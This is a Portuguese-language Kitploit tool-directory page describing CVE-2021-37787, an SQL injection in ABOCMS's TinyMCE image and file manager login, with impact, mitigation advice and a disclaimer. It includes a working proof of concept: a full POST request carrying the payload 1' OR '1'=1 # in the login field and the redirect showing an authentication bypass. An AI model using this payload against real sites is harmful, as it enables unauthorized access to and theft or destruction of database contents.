Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-37787 — CVE-2021-37787 | Kitploit
Ferramentas/GitHubGitHub/vasykor/cve-2021-37787
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubvasykor/cve-2021-37787

CVE-2021-37787

CVE-2021-37787

Ver Repositório
12há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-37787: Injeção de SQL no ABOCMS via Módulo TinyMCE

Detalhes da Vulnerabilidade

  • ID do CVE: CVE-2021-37787
  • Produto: ABOCMS
  • Versão(ões) Afetada(s): 5.8.x, ≤5.9.3
  • Tipo de Vulnerabilidade: Injeção de SQL
  • Pontuação CVSS: 9.8

Descrição

Existe uma vulnerabilidade crítica de injeção de SQL no ABOCMS dentro do módulo TinyMCE. A vulnerabilidade surge devido à sanitização insuficiente de entrada na interação do módulo TinyMCE com o banco de dados, permitindo que um atacante injete consultas SQL maliciosas. Isso pode levar ao acesso não autorizado a dados, modificação ou até mesmo comprometimento total do banco de dados subjacente.

O endpoint vulnerável está localizado no processamento de entrada fornecida pelo usuário pelo módulo TinyMCE. Um atacante pode explorar essa falha para executar comandos SQL arbitrários.

Impacto

  • Contorno de autenticação.
  • Extração de dados sensíveis.
  • Modificação ou exclusão de registros do banco de dados.
  • Potencial execução remota de código, dependendo da configuração do banco de dados.

Prova de Conceito (PoC)

Requisição POST

root@kitploit:~
POST /js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php HTTP/1.1
Host: <yourdomain.name>
Content-Type: application/x-www-form-urlencoded

return_url=%2Fjs%2Fadmin%2Ftiny_mce%2Fplugins%2Fimagemanager%2Findex.php%3Ftype%3Dim%26page%3Dindex.html&login=1%27+OR+%271%27%3D1+%23&password=1&submit_button=Login

Resposta

root@kitploit:~
HTTP/1.1 302 Found
Server: nginx-reuseport/1.21.1
Date: <date>
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Keep-Alive: timeout=30
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
A-Powered-By: ABO.CMS 5.9.3 (fe01ce2a7fbac8fafaed7c982a04e229)
location: /js/admin/tiny_mce/plugins/imagemanager/index.php?type=im&page=index.html

Endpoint Vulnerável

A vulnerabilidade pode ser acionada através do seguinte endpoint:

/js/admin/tiny_mce/plugins/imagemanager/login_session_auth.php /js/admin/tiny_mce/plugins/filemanager/login_session_auth.php

Mitigação

  • Para Usuários:

    • Atualize para a versão mais recente do ABOCMS.
    • Desative o módulo TinyMCE se não for essencial.
  • Para Desenvolvedores:

    • Use prepared statements ou consultas parametrizadas para interagir com o banco de dados.
    • Atualize o módulo TinyMCE para a versão segura mais recente.
    • Implemente validação de entrada adequada para filtrar payloads maliciosos.

Aviso Legal

Este PoC é fornecido apenas para fins educacionais e de pesquisa em segurança. Não use este código para prejudicar sistemas ou redes sem permissão explícita do proprietário. O autor não é responsável por qualquer uso indevido ou dano causado por este PoC.

Baixar ferramenta